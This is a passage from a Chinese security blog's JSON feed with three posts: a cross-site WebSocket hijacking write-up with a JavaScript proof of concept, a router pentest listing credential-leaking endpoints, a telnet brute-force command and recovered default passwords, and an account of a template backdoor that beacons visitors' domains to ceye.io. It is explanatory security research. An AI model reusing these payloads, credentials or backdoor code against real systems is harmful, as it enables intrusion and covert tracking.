w4v7O6xFTi36lq3RNcgctw==\n\n<\/code><\/pre>\n\n<p>\u7be1\u6539Origin\uff0c\u53d1\u73b0\u6ca1\u6709\u5bf9Origin\u8fdb\u884c\u9a8c\u8bc1\uff0c\u4e5f\u53ef\u4ee5\u8de8\u57df\u8fdb\u884c\u534f\u8bae\u5347\u7ea7\u3002<\/p>\n\n<p>2.\u8fdb\u4e00\u6b65\u9a8c\u8bc1<\/p>\n\n<p>2.1\u83b7\u53d6\u5230\u4e86\u4e00\u4e2a\u53d1\u9001\u8bc4\u8bba\u7684\u8bf7\u6c42 \uff08<strong>\u4f7f\u7528BurpSuite-&gt;Proxy\u6a21\u5757-&gt;Websockets History\u67e5\u770b\uff0c\u8fd9\u91cc\u662f\u5bf9\u5e94\u7684 Direction\u503c\u4e3aOutgoing\u4e3a\u53d1\u51fa\u7684\u8bf7\u6c42\uff0cIncoming\u4e3a\u53d1\u51fa\u8bf7\u6c42\u5bf9\u5e94\u7684\u54cd\u5e94\u4fe1\u606f<\/strong>\uff09<\/p>\n\n<p><img src=\"\/images\/CSWSH\/1.png\" alt=\"test\" \/><\/p>\n\n<p>2.2\u4f7f\u7528JavaScript\u521b\u5efaWebsocket\u8bf7\u6c42<\/p>\n\n<p><strong>\u5982\u4e0a\u56fe\u6240\u793aOutgoing\u7684\u5185\u5bb9\u4e3a\u201c\u6211\u662f\u5e05key\u7684\u53ef\u7231\u5c0f\u8ff7\u5f1f\u201d\uff0c\u90a3\u4e48\u53d1\u9001\u7684\u6570\u636e\u5c31\u662f\u8fd9\u4e2a<\/strong>\u3002<\/p>\n\n<pre><code class=\"language-html\">&lt;meta charset=\"utf-8\"&gt;\n&lt;script&gt;\nfunction ws_attack(){\n\tvar ws = new WebSocket(\"ws:\/\/\u57df\u540d:\u7aef\u53e3\/\");\/\/\u5982\u679c\u8bf7\u6c42\u7684Websocket\u670d\u52a1\u4ec5\u652f\u6301HTTP\u5c31\u5199\u6210ws:\/\/\uff0c\u5982\u679c\u8bf7\u6c42\u7684Websocket\u670d\u52a1\u652f\u6301HTTPs\u5c31\u5199\u6210wss:\/\/\n\tws.onopen = function(evt) { \n\t\tws.send(\"\u6211\u662f\u5e05key\u7684\u53ef\u7231\u5c0f\u8ff7\u5f1f\uff01\");\n\t};\n\tws.onmessage = function(evt) {\n\t\tws.close();\n\t};\n}\nws_attack();\n&lt;\/script&gt;\n<\/code><\/pre>\n\n<p>2.3\u9a8c\u8bc1\u53d1\u73b0\u53ef\u4ee5\u8bf7\u6c42\u5e76\u6210\u529f\u8fdb\u884c\u91cd\u653e\uff0c\u5b58\u5728Websocket\u8de8\u57df\u52ab\u6301<\/p>\n\n<p>\uff08\u8fd9\u91cc\u53ea\u662f\u7b80\u5355\u7684\u8bc4\u8bba\u8bf7\u6c42\uff0c\u5371\u5bb3\u5c31\u662f\uff1a\u70b9\u6211\u94fe\u63a5\u8ba9\u4f60\u8bc4\u8bba\u6211\u60f3\u8bc4\u8bba\u7684\uff0c\u8bd5\u60f3\uff1a\u5982\u679c\u662f\u4fee\u6539\u5bc6\u7801\u7684WebSocket\u8bf7\u6c42\u5b58\u5728\u52ab\u6301\u90a3\u4e48\u95ee\u9898\u5c31\u5927\u4e86\uff5e\uff09<\/p>\n\n<h2 id=\"\u6f0f\u6d1e\u5229\u7528\">\u6f0f\u6d1e\u5229\u7528<\/h2>\n\n<p>\u653b\u51fb\u6d41\u7a0b\u8ddf\u4ee5\u5f80\u7684\u4ea4\u4e92\u7c7b\u6f0f\u6d1e\u6ca1\u4ec0\u4e48\u533a\u522b\uff08\u70b9\u6211\u94fe\u63a5\u8bfb\u53d6\u4f60XXX\u3001\u70b9\u6211\u94fe\u63a5\u8ba9\u4f60XXX\uff09\uff1a<\/p>\n\n<p><img src=\"\/images\/CSWSH\/2.png\" alt=\"attack\" \/><\/p>\n\n<p>\u6765\u4e00\u4e2a\u5708\u5b50\u201d\u94f8\u5251\u5b9e\u6218\u9776\u573a\u201d\u7684\u622a\u56fe\uff0c\u81ea\u6211\u4f53\u4f1a\uff1a<\/p>\n\n<p><img src=\"\/images\/CSWSH\/3.png\" alt=\"success\" \/><\/p>\n\n<h3 id=\"poc\u4ee3\u7801\u7f16\u5199\">PoC\u4ee3\u7801\u7f16\u5199<\/h3>\n\n<pre><code class=\"language-html\">&lt;meta charset=\"utf-8\"&gt;\n&lt;script&gt;\nfunction ws_attack(){\/\/\u81ea\u5b9a\u4e49\u51fd\u6570ws_attack\n    \/\/\u5b9a\u4e49\u51fd\u6570\u529f\u80fd\n    \/\/\u521b\u5efaWebSocket\u5e76\u8d4b\u503c\u7ed9ws\u53d8\u91cf\n\tvar ws = new WebSocket(\"ws:\/\/\u57df\u540d:\u7aef\u53e3\/\");\/\/\u5982\u679c\u8bf7\u6c42\u7684Websocket\u670d\u52a1\u4ec5\u652f\u6301HTTP\u5c31\u5199\u6210ws:\/\/\uff0c\u5982\u679c\u8bf7\u6c42\u7684Websocket\u670d\u52a1\u652f\u6301HTTPs\u5c31\u5199\u6210wss:\/\/\n\tws.onopen = function(evt) { \n        \/\/\u5f53ws(WebSocket)\u5904\u4e8e\u8fde\u63a5\u72b6\u6001\u65f6\u6267\u884c\n\t\tws.send(\"\u6211\u662f\u5e05key\u7684\u53ef\u7231\u5c0f\u8ff7\u5f1f\uff01\");\n\t};\n\tws.onmessage = function(evt) {\n        \/\/\u5f53ws(WebSocket)\u8bf7\u6c42\u6709\u54cd\u5e94\u4fe1\u606f\u65f6\u6267\u884c\n        \/\/\u6ce8\u610f\uff1a\u54cd\u5e94\u7684\u4fe1\u606f\u53ef\u4ee5\u901a\u8fc7evt.data\u83b7\u53d6\uff01\u4f8b\u5982\uff1aalert(evt.data);\n\t\tws.close();\n\t};\n}\nws_attack();\/\/\u6267\u884cws_attact\u51fd\u6570\n&lt;\/script&gt;\n<\/code><\/pre>\n\n<h2 id=\"\u4fee\u590d\u65b9\u6cd5\">\u4fee\u590d\u65b9\u6cd5<\/h2>\n\n<p>\u7efc\u5408\u5efa\u8bae\uff1a\u6821\u9a8cOrigin\u5934<\/p>\n\n<h1 id=\"reference\">Reference<\/h1>\n\n<p>https:\/\/www.cnblogs.com\/chyingp\/p\/websocket-deep-in.html<\/p>\n","pubDate":"2019-03-20T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2019-03-20\/1","guid":"https:\/\/gh0st.cn\/archives\/2019-03-20\/1"},{"title":"\u8bb0\u4e00\u6b21\u79fb\u52a8\u5149\u732b\uff08GM219-S\uff09\u5b89\u5168\u6d4b\u8bd5","description":"<h1 id=\"\u524d\u8a00\">\u524d\u8a00<\/h1>\n\n<p>\u8fc7\u4e2a\u5e74\uff0cWiFi\u5bc6\u7801\u5fd8\u8bb0\u4e86\u2026\u5149\u732b\u7ba1\u7406\u5bc6\u7801\u4e5f\u5fd8\u8bb0\u4e86\uff08\u8fd9\u4e2a\u5149\u732b\u4e5f\u4e0d\u652f\u6301\u7269\u7406\u6309\u94ae\u91cd\u7f6e\u8bbe\u7f6e\uff09\uff0c\u4f46\u662f\u624b\u673a\u8fd8\u8fde\u7740WiFi\uff0c\u6b63\u89c4\u64cd\u4f5c\u627e\u56de\u4e0d\u4e86\u5bc6\u7801\uff0c\u90a3\u5c31\u7528\u54b1\u4eec\u6d4b\u8bd5\u7684\u601d\u7ef4\u6765\u8bd5\u8bd5PWN\u6389\u8fd9\u4e2a\u8def\u7531\u5668\u3002<\/p>\n\n<h1 id=\"\u8fc7\u7a0b\">\u8fc7\u7a0b<\/h1>\n\n<h2 id=\"\u672a\u6388\u6743\u83b7\u53d6wifi\u8fde\u63a5\u5bc6\u7801\">\u672a\u6388\u6743\u83b7\u53d6WiFi\u8fde\u63a5\u5bc6\u7801<\/h2>\n\n<p>\u8fd8\u597d\u4e4b\u524d\u6ca1\u95f2\u7740\uff0c\u53d1\u73b0\u7ba1\u7406\u7684\u51e0\u4e2a\u672a\u6388\u6743\u8bbf\u95ee\u7684\u63a5\u53e3\u5982\u4e0b:<\/p>\n\n<p>\u83b7\u53d6\u5bbd\u5e26\u8d26\u53f7\u5bc6\u7801: <code>\/GET_USER_WAN_PPP_INFO.json<\/code><\/p>\n\n<p>\u83b7\u53d6 WLAN \u8fde\u63a5\u4fe1\u606f: <code>\/GET_WLAN_LINK_INFO.json<\/code><\/p>\n\n<p>\u83b7\u53d6 DHCP \u4fe1\u606f: <code>\/GET_NET_DHCP_INFO.json<\/code><\/p>\n\n<p>\u624b\u673a\u8bbf\u95ee <code>http:\/\/192.168.1.1\/GET_WLAN_LINK_INFO.json<\/code> \uff0c\u83b7\u53d6\u5bc6\u7801\uff1axxx\uff0c\u7535\u8111\u8fde\u63a5\u767b\u5f55<\/p>\n\n<h2 id=\"\u4fe1\u606f\u6536\u96c6\">\u4fe1\u606f\u6536\u96c6<\/h2>\n\n<h3 id=\"\u7aef\u53e3\u6536\u96c6\u7ed3\u679c\">\u7aef\u53e3\u6536\u96c6\u7ed3\u679c<\/h3>\n\n<pre><code class=\"language-shell\">Scanning promote.cache-dns.local (192.168.1.1) [1080 ports]\nDiscovered open port 80\/tcp on 192.168.1.1\nDiscovered open port 8080\/tcp on 192.168.1.1\n<\/code><\/pre>\n\n<h3 id=\"\u76ee\u5f55\u626b\u63cf\u7ed3\u679c\">\u76ee\u5f55\u626b\u63cf\u7ed3\u679c<\/h3>\n\n<p>\u83b7\u5f97\u7684\u4e00\u4e9b\u76ee\u5f55\uff1a<\/p>\n\n<pre><code class=\"language-shell\">\/login.html\n\/login.asp\n\/index.asp\n\/telnet.asp\n\/upgrade.asp\n...\n<\/code><\/pre>\n\n<h2 id=\"\u7a81\u7834\u53e3\">\u7a81\u7834\u53e3<\/h2>\n\n<p>\u5728\u76ee\u5f55\u626b\u63cf\u7684\u65f6\u5019\uff0c\u53d1\u73b0<code>\/telnet.asp<\/code> -&gt; \u8df3\u8f6c\u5230 <code>\/cgi-bin\/telnet.asp<\/code> \u5982\u4e0b\u56fe\u6240\u793a\u754c\u9762\uff1a<\/p>\n\n<p><img src=\"\/images\/cmcc-pentest\/open_telnet.png\" alt=\"open_telnet\" \/><\/p>\n\n<p>\u8fd9\u4e2a\u529f\u80fd\u53ef\u4ee5\u5f00\u542f\u5149\u732b\u7684<code>telnet<\/code>\u670d\u52a1\uff0c\u5148\u5f00\u542f\uff0c\u7136\u540e\u518d\u4f7f\u7528Nmap\u626b\u63cf\u4e0b\u7aef\u53e3\uff1a<\/p>\n\n<pre><code class=\"language-shell\">Scanning promote.cache-dns.local (192.168.1.1) [1080 ports]\nDiscovered open port 8080\/tcp on 192.168.1.1\nDiscovered open port 80\/tcp on 192.168.1.1\nDiscovered open port 8023\/tcp on 192.168.1.1\n<\/code><\/pre>\n\n<p>\u53d1\u73b0\u591a\u4e86\u4e2a8023\u7aef\u53e3\uff0c\u5176\u5bf9\u5e94\u7684\u670d\u52a1\u679c\u7136\u662ftelnet\uff1a<\/p>\n\n<pre><code class=\"language-shell\">8023\/tcp open  telnet\n| fingerprint-strings:\n|   GenericLines:\n|     Star-Net Broadband Router\n|     Login:\n|     Password:\n|   GetRequest:\n|     Star-Net Broadband Router\n|     Login: GET \/ HTTP\/1.0\n|     Password:\n|   Help:\n|     HELP\n|     Star-Net Broadband Router\n|     Login: Password:\n|   NCP:\n|     Star-Net Broadband Router\n|     Login: DmdT^@^@^@\n|     ^@^@^@^A^@^@^@^@^@\n|   NULL:\n|     Star-Net Broadband Router\n|     Login:\n|   RPCCheck:\n|     Star-Net Broadband Router\n|     Login:\n|     ^@^@(r\n|   SIPOptions:\n|     Star-Net Broadband Router\n|     Login: OPTIONS sip:nm SIP\/2.0\n|     Via: SIP\/2.0\/TCP nm;branch=foo\n|     From: &lt;sip:nm@nm&gt;;tag=root\n|     &lt;sip:nm2@nm2&gt;\n|     Call-ID: 50000\n|     CSeq: 42 OPTIONS\n|     Max-Forwards: 70\n|     Content-Length: 0\n|     Contact: &lt;sip:nm@nm&gt;\n|     Accept: application\/sdp\n|     Password:\n|   tn3270:\n|     ^@IBM-3279-4-E\n|     ^YStar-Net Broadband Router\n|_    Login:\n<\/code><\/pre>\n\n<p>telnet\u5f00\u542f\uff0c\u7206\u7834\u4e00\u6ce2\u8d70\u8d77\u3002\uff08Caimima\u751f\u6210\u4e2a\u5bc6\u7801\u53e3\u4ee4\uff09<\/p>\n\n<p><img src=\"\/images\/cmcc-pentest\/caimima.png\" alt=\"caimima\" \/><\/p>\n\n<p>\u8bd5\u4e86nmap\u8c8c\u4f3c\u6ca1\u5565\u7528\uff0c\u5f00\u4e2amsfconsole\u6765\u7206\u7834\uff1a<\/p>\n\n<pre><code class=\"language-shell\">use auxiliary\/scanner\/telnet\/telnet_login\nset RHOSTS 192.168.1.1 #\u8bbe\u7f6e\u6a21\u677f\nset RPORT 8023 #\u8bbe\u7f6e\u7aef\u53e3\nset USER_FILE \/root\/user.txt #\u8bbe\u7f6e\u7528\u6237\u5b57\u5178\nset PASS_FILE \/root\/pass.txt #\u8bbe\u7f6e\u5bc6\u7801\u5b57\u5178\nexploit 192.168.1.1 #\u542f\u52a8\n<\/code><\/pre>\n\n<p>\u5e78\u8fd0\u7684\u662f\u7206\u7834\u51fa\u6765\u4e86\uff0c\u662f\u7ec4\u5408\u5f31\u53e3\u4ee4\uff1a<\/p>\n\n<p><img src=\"\/images\/cmcc-pentest\/telnet_brute.png\" alt=\"telnet_brute\" \/><\/p>\n\n<h2 id=\"\u83b7\u53d6\u5bc6\u7801\">\u83b7\u53d6\u5bc6\u7801<\/h2>\n\n<p>\u8fd0\u884c<code>telnet 192.168.1.1 8023<\/code>\u8f93\u5165\u8d26\u53f7\u5bc6\u7801\u8fdb\u53bb\uff0c\u6267\u884c<code>sh<\/code>\u53d1\u73b0\u53ef\u4ee5\u76f4\u63a5\u8fdb\u5165shell\uff1a<\/p>\n\n<p><img src=\"\/images\/cmcc-pentest\/telnet_shell.png\" alt=\"telnet_shell\" \/><\/p>\n\n<p>\u63a5\u4e0b\u6765\u5c31\u662f\u627e\u5bc6\u7801\u5230\u5904\u778e\u7ffb\uff08\u6ca1\u6709PWN\u8def\u7531\u5668\u7684\u7ecf\u9a8c\uff0c\u5f88\u96be\u53d7\uff09\uff0c\u6267\u884c <code>ls -a -l<\/code> \u53d1\u73b0\u6709\u8f6f\u94fe\u63a5\uff0c\u5f88\u591a\u6307\u5411\u4e86<code>\/tmp<\/code>\u76ee\u5f55\uff1a<\/p>\n\n<p><img src=\"\/images\/cmcc-pentest\/ls.png\" alt=\"ls\" \/><\/p>\n\n<p>\u4e8e\u662f\u8fdb\u5165<code>\/tmp<\/code>\u76ee\u5f55\uff0c\u5230\u5904\u7ffb\u817e\uff1a<\/p>\n\n<p><img src=\"\/images\/cmcc-pentest\/tmp.png\" alt=\"tmp\" \/><\/p>\n\n<p>\u5229\u7528\u8fd9\u51e0\u4e2a\u5173\u952e\u8bcd\u770b\u770b\u662f\u5426\u6709\u6587\u4ef6\u4e2d\u5305\u542b\u4e86\uff1a<code>admin<\/code>\u3001<code>CMCC<\/code>(\u4e2d\u56fd\u79fb\u52a8)\u3001<code>password<\/code>\u3001<code>user<\/code><\/p>\n\n<p>e.g. <code>grep 'admin' .\/*<\/code>\uff0c\u7b49\u4e86\u8001\u534a\u5929\u4e86\uff0c\u53d1\u73b0<code>\/tmp\/ctromfile.cfg<\/code>\u6587\u4ef6\u5185\u6709\u70b9\u4e1c\u897f\uff1a<\/p>\n\n<p><img src=\"\/images\/cmcc-pentest\/admin.png\" alt=\"admin\" \/><\/p>\n\n<p>\u590d\u5236\u5bc6\u7801\u767b\u5f55\uff0c\u603c\u8fdb\u53bb\uff1a<\/p>\n\n<p><img src=\"\/images\/cmcc-pentest\/cmccadmin.png\" alt=\"cmccadmin\" \/><\/p>\n\n<h2 id=\"\u4fe1\u606f\u6574\u5408\">\u4fe1\u606f\u6574\u5408<\/h2>\n\n<p>\u505a\u5b8c\u6d4b\u8bd5\u5e76\u9488\u5bf9\u6d4b\u8bd5\u8fc7\u7a0b\u7684\u4fe1\u606f\u8fdb\u884c\u6574\u5408\uff0c\u6700\u540e\u5f62\u6210\u5b57\u5178\u4ee5\u4fbf\u540e\u9762\u518d\u6b21\u9047\u5230\uff5e<\/p>\n\n<ul>\n  <li>\n    <p>\u901a\u8fc7\u8bfb\u914d\u7f6e\u6587\u4ef6\u83b7\u53d6\u7684\u4e00\u7cfb\u5217\u7528\u6237\u540d\u3001\u5bc6\u7801\uff1a<code>9vvrr\u3001admin\u3001aDm8H%MdA\u3001CMCCAdmin\u3001telnetuser\u3001user<\/code><\/p>\n  <\/li>\n  <li>\u6587\u4ef6\u3001\u76ee\u5f55\u8def\u5f84\uff1a\n    <ul>\n      <li><code>\/GET_USER_WAN_PPP_INFO.json<\/code><\/li>\n      <li><code>\/GET_WLAN_LINK_INFO.json<\/code><\/li>\n      <li><code>\/GET_NET_DHCP_INFO.json<\/code><\/li>\n      <li><code>\/telnet.asp<\/code><\/li>\n      <li><code>\/index.asp<\/code><\/li>\n      <li><code>\/user.html<\/code><\/li>\n      <li><code>\/upgrade.asp<\/code><\/li>\n      <li><code>\/cgi-bin\/<\/code><\/li>\n      <li><code>\/content.asp<\/code><\/li>\n    <\/ul>\n  <\/li>\n  <li>\u6307\u7eb9\u7279\u5f81\uff1a\n    <ul>\n      <li>\u6807\u9898\uff1a<code>HGU LOGIN<\/code><\/li>\n      <li>\u56fe\u7247\uff1a<code>\/webstyle\/images\/login-mobile-qrcode-anhui.png -&gt; 23cb4f5e63e0cd47f8788a6ca3558eab<\/code><\/li>\n      <li>JS\uff1a<code>\/webstyle\/js\/br_login_nc.js<\/code><\/li>\n    <\/ul>\n  <\/li>\n<\/ul>\n\n<h1 id=\"\u7ed3\u5c3e\">\u7ed3\u5c3e<\/h1>\n\n<p>\u6700\u540e\u6211\u53ea\u662f\u9ed8\u9ed8\u7684\u628auser\u7528\u6237\u5bc6\u7801\u6539\u4e86\u4e00\u4e0b\uff5e<\/p>\n","pubDate":"2019-03-12T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2019-03-12\/1","guid":"https:\/\/gh0st.cn\/archives\/2019-03-12\/1"},{"title":"\u6211\u4e3a\u4f55\u5728\u535a\u5ba2\u6a21\u677f\u7559\u540e\u95e8","description":"<h1 id=\"\u524d\u8a00\">\u524d\u8a00<\/h1>\n\n<p>\u5728\u524d\u6bb5\u65f6\u95f4\uff0c\u6211\u5728\u6211\u535a\u5ba2\u7684\u6a21\u677f\u4e0a\u52a0\u5165\u4e86\u540e\u95e8\uff08JavaScript\uff09\uff0c\u4eca\u5929\u53bb\u9664\uff0c\u5e76\u5c06\u601d\u8def\u7b80\u5355\u7684\u5199\u51fa\u6765\u3002<\/p>\n\n<h2 id=\"\u4e3a\u4ec0\u4e48\u7559\u540e\u95e8\u5462\">\u4e3a\u4ec0\u4e48\u7559\u540e\u95e8\u5462\uff1f<\/h2>\n\n<p><strong>\u8d77\u56e0<\/strong>\uff1a\u5728\u524d\u4e0d\u4e45\uff0c\u56e2\u961f\u5b98\u7f51\u6a21\u677f\u5c31\u88ab\u5077\u8d70\uff0c\u5f88\u8ba9\u4eba\u751f\u6c14\uff0c\u6284\u88ad\u8005\u56e2\u961f\uff08\u4ee5\u4e0b\u7b80\u79f0\u4e3a\uff1aA\uff09\u6ca1\u6709\u6253\u4e00\u58f0\u62db\u547c\u5c31\u62ff\u8d70\u4e86\uff0c\u4f46\u53ef\u7b11\u7684\u662fA\u5e76\u6ca1\u6709\u5728\u6a21\u677f\u4e2d\u4fee\u6539JavaScript\u6587\u4ef6\u7684\u5916\u94fe\u5f15\u7528\uff0c\u800c\u662f\u76f4\u63a5\u4f7f\u7528\u6211\u4eec\u7684JavaScript\u6587\u4ef6\uff0c\u6240\u4ee5\u7b80\u5355\u7684\u5229\u7528JS\u4fee\u6539\u4e86\u4e00\u4e0b\u5176\u4e3b\u9875\uff0c\u63d0\u9192\u4e86\u4e0b\u4ed6\uff0c\u7ecf\u8fc7\u540e\u6765A\u4e3b\u52a8\u4e0e\u6211\u8054\u7cfb\u5e76\u9053\u6b49\uff0c\u8fd9\u4ef6\u4e8b\u60c5\u624d\u7ed3\u675f\uff5e<\/p>\n\n<p>\u8ba9\u6211\u5403\u60ca\u7684\u662f\uff0c\u8fd9\u4ef6\u4e8b\u4e4b\u540e\u6211\u53d1\u73b0\u6211\u535a\u5ba2\u4e3b\u9898\u6a21\u677f\u88ab\u62ff\u8d70\u4e86\uff0c\u662f\u7684\uff0c\u4e0d\u6b62\u4e00\u4e2a\u54e5\u4eec\u3002<\/p>\n\n<p>\u6211\u5728\u6211\u7684\u535a\u5ba2\u9879\u76ee\u4e2d\u8bf4\u660e\u4e86<code>https:\/\/github.com\/gh0stkey\/gh0stkey.github.io<\/code><\/p>\n\n<blockquote>\n  <p>\u4e2a\u4eba\u535a\u5ba2 gh0st.cn \u6a21\u7248\u6765\u81ea\uff1ahttps:\/\/github.com\/heiswayi\/the-plain \u5728\u539f\u57fa\u7840\u4e0a\u589e\u52a0\u4e86\u5206\u9875\u3001\u7f51\u6613\u4e91\u97f3\u4e50\u64ad\u653e\u5668\u7b49\u529f\u80fd\uff08\u505a\u4e86\u4e00\u4e9b\u6392\u7248\u7ec6\u8282\u4e0a\u7684\u8c03\u6574\uff09\uff0c\u62ff\u4e4b\u524d\u544a\u8bc9\u6211\u4e0b\uff0c\u8c22\u8c22\uff01<\/p>\n<\/blockquote>\n\n<p>\u56e0\u4e3a\u535a\u5ba2\u91c7\u7528\u7684\u662fGithub Pages + Jekyll\uff0c\u6240\u4ee5\u9700\u8981\u4f9d\u8d56\u4e8eGithub\u7684\u8fdb\u884c\u6258\u7ba1\uff0c\u6a21\u677f\u4e5f\u5c31\u81ea\u7136\u800c\u7136\u7684\u53ef\u4ee5\u76f4\u63a5<code>git clone<\/code>\u4e0b\u6765\uff0c\u6a21\u677f\u4e5f\u662f\u6211\u8fdb\u884c\u4e8c\u6b21\u4fee\u6539\u7684\uff0c\u6211\u89c9\u5f97\u8d77\u7801\u8981\u5c0a\u91cd\u4e0b\u4f5c\u8005\uff0c\u5728\u535a\u5ba2\u4e3b\u9898\u6216\u9879\u76ee\u4e4b\u7c7b\u7684\u8fdb\u884c\u8bf4\u660e\uff0c\u6253\u58f0\u62db\u547c\u4e5f\u884c\uff0c\u4e00\u58f0\u4e0d\u542d\u7684\u62ff\u8d70\u662f\u51e0\u4e2a\u610f\u601d\u2026\u2026<\/p>\n\n<p>\u6709\u4e2a\u597d\u5144\u5f1f\u8bf4\u8fc7\u8fd9\u6837\u4e00\u6bb5\u8bdd\uff0c\u671b\u5468\u77e5\uff1a<\/p>\n\n<blockquote>\n  <p>\u53c2\u8003\u522b\u4eba\u7684\u7814\u7a76\u6210\u679c\uff0c\u6ce8\u660e\u6765\u6e90\u662f\u57fa\u672c\u7d20\u8d28\uff0c\u6bcf\u4e2a\u4eba\u90fd\u5e94\u8be5\u6784\u5efa\u4e00\u4e2a\u548c\u8c10\u79ef\u6781\u5411\u4e0a\u7684\u6c1b\u56f4\uff0c\u77e5\u9053\u7684\u4eba\u4e0d\u613f\u610f\u5206\u4eab\u7684\u539f\u56e0\u5c31\u662f\u4e0d\u88ab\u522b\u4eba\u8ba4\u53ef\uff0c\u4e92\u76f8\u8ba4\u53ef\u624d\u80fd\u8fdb\u6b65\uff0c\u73b0\u5728\u7406\u89e3\u4e00\u4e9b\u5e08\u5085\u7684\u82e6\u8877\u4e86\uff0c\u633a\u60b2\u54c0\u7684\u3002\u8bf7\u5404\u4f4d\u5728\u4ee5\u540e\u7684\u5b66\u4e60\u751f\u6daf\u4e0a\uff0c\u5c0a\u91cd\u522b\u4eba\u7684\u5206\u4eab\uff0c\u8ba4\u53ef\u4ed6\u4eba\uff0c\u4e92\u76f8\u611f\u67d3\u624d\u80fd\u8fdb\u6b65\u3002<\/p>\n<\/blockquote>\n\n<h1 id=\"\u5173\u4e8e\u540e\u95e8\">\u5173\u4e8e\u540e\u95e8<\/h1>\n\n<p>\u6211\u662f\u4e00\u4e2a\u201c\u91cd\u5ea6\u6d01\u7656\u60a3\u8005\u201d\uff0c\u4e0d\u559c\u6b22\u81ea\u5df1\u7684\u4efb\u4f55\u4e1c\u897f\u5e26\u4e0a\u4efb\u4f55\u6c61\u70b9\u3002\u5305\u62ec\u5bf9\u4e8e\u5728\u81ea\u5df1\u535a\u5ba2\u6a21\u677f\u4e2d\u52a0\u5165\u540e\u95e8\uff0c\u8fd9\u5bf9\u6211\u6765\u8bf4\u662f\u4e00\u4ef6\u5e26\u6709\u201c\u5927\u6c61\u70b9\u201d\u7684\u4e8b\u60c5\uff0c\u6240\u4ee5\u601d\u8003\u4e86\u5f88\u4e45\u51b3\u5b9a\u52a0\u4e0a\u540e\u95e8\u3002<\/p>\n\n<h2 id=\"\u540e\u95e8\u7684\u6784\u5efa\">\u540e\u95e8\u7684\u6784\u5efa<\/h2>\n\n<h3 id=\"javascript-\u540e\u95e8\">JavaScript \u540e\u95e8<\/h3>\n\n<p>\u6a21\u677f\u540e\u95e8\u9009\u62e9\u7684\u662fJavaScript\u5916\u94fe\u5f15\u7528\uff0c\u800cJavaScript\u7684\u5185\u5bb9\u6784\u5efa\u6b65\u9aa4\u5982\u4e0b\uff1a<\/p>\n\n<p><strong>1.\u5224\u65ad\u662f\u5426\u662f\u81ea\u5df1\u7684\u57df\u540d\uff08\u8fd9\u4e2a\u6b63\u5219\u5199\u7684\u4e0d\u4e25\u8c28\u662f\u53ef\u4ee5\u88ab\u7ed5\u8fc7\u7684\uff0c\u4f8b\u5982\uff1a<code>gh0st.cn.bypass.cn<\/code>\uff09\uff1a<\/strong><\/p>\n\n<pre><code class=\"language-javascript\">var host = document.location.host; \/\/\u83b7\u53d6host\nvar reg = new RegExp(\/gh0st.cn\/); \/\/\u521b\u5efa\u6b63\u5219\nvar isok = reg.test(host); \/\/\u5339\u914d\u7ed3\u679c\uff1aFalse\\True\nif(!isok){\/\/\u5224\u65ad\n\t...code\n}\n<\/code><\/pre>\n\n<p><strong>2.\u89e6\u53d1\u5f0f\uff1a\u5728\u4e00\u4e2aWeb\u670d\u52a1\u4e0a\u6dfb\u52a0\u4e86isopen.txt\u8fd9\u4e2a\u6587\u4ef6\uff0c\u5185\u5bb9\u4e3aNO\u5219\u4e0d\u89e6\u53d1\uff0c\u5185\u5bb9\u4e3aYES\u5219\u89e6\u53d1\u3002\uff08\u9009\u62e9\u89e6\u53d1\u5f0f\u7684\u539f\u56e0\u662f\u56e0\u4e3a\u535a\u5ba2\u4e0a\u7ebf\u6709\u672c\u5730\u8c03\u8bd5\u8fd9\u4e00\u73af\u8282\uff0c\u5982\u679c\u5728\u672c\u5730\u5c31\u89e6\u53d1\u4e86\uff0c\u90a3\u5c82\u4e0d\u662f\u5f97\u4e0d\u507f\u5931\uff0c\u6ca1\u6709\u9020\u6210\u4ec0\u4e48\u76f4\u63a5\u635f\u5bb3\uff5e\uff09<\/strong><\/p>\n\n<pre><code class=\"language-javascript\">var xhr = new XMLHttpRequest(); \/\/\u521b\u5efaXMLHttpRequest\nxhr.onreadystatechange=function(){ \/\/\u8bf7\u6c42\u6210\u529f\u5219\u89e6\u53d1\n\tif(xhr.responseText == \"YES\"){ \/\/\u5224\u65ad\u8bf7\u6c42\u7f51\u7ad9\u7684\u5185\u5bb9\u662f\u5426\u662fYES\uff0c\u5982\u679c\u662f\u5219\u8fdb\u884c\u4e0b\u4e00\u6b65\n\t\tdocument.write(\"&lt;center&gt;&lt;h1&gt;Please tell me before using my template!By:[Vulkey_Chen]&lt;center&gt;&lt;h1&gt;\"); \/\/\u9875\u9762\u5185\u5bb9\u4fee\u6539\n\t}\n}\nxhr.open(\"GET\",\"http:\/\/webserver\/isopen.txt\",true); \/\/\u8bf7\u6c42http:\/\/webserver\/isopen.txt\nxhr.send(null);\n<\/code><\/pre>\n\n<p><strong>3.\u65e2\u7136\u9009\u62e9\u4e86\u89e6\u53d1\u5f0f\u7684\u540e\u95e8\uff0c\u90a3\u4e48\u5c31\u9700\u8981\u77e5\u9053\u662f\u8c01\u5077\u4e86\u6a21\u677f\uff0c\u8fd9\u91cc\u5229\u7528\u7684\u662f<code>ceye.io<\/code>\u8fd9\u4e2a\u5e73\u53f0\u53bb\u8bb0\u5f55\u201c\u5c0f\u5077\u201d\u7684\u57df\u540d\u548cIP\u4e4b\u7c7b\u7684\u4e1c\u897f\uff1a<\/strong><\/p>\n\n<pre><code class=\"language-javascript\">var img = document.createElement(\"img\"); \/\/\u521b\u5efaimg\u6807\u7b7e\nimg.src=\"http:\/\/myblog.\u4f60\u7684\u5730\u5740.ceye.io\/fuck?domain=\" + host; \/\/\u8bbe\u7f6eimg\u6807\u7b7e\u7684src\u5c5e\u6027\nimg.stytle.display=\"none\"; \/\/\u8bbe\u7f6eimg\u6807\u7b7e\u7684\u6837\u5f0f\u7684display\u5c5e\u6027\u4e3anone\uff08\u8868\u793a\u8fd9\u4e2a\u5c06\u56fe\u7247\u9690\u85cf\uff09\ndocument.body.appendChild(img); \/\/\u5728DOM\u8282\u70b9(body)\u5185\u52a0\u5165img\u6807\u7b7e\n<\/code><\/pre>\n\n<p><strong>4.\u5728\u535a\u5ba2\u6a21\u677f\u7684header.html\u4e2d\u5f15\u7528\u4e86\u5916\u90e8\u7684JS\u5730\u5740<code>&lt;script src=\"http:\/\/webserver\/xxx.js\"&gt;<\/code><\/strong><\/p>\n\n<p>\u5b8c\u6574\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n\n<pre><code class=\"language-javascript\">var host = document.location.host;\nvar reg = new 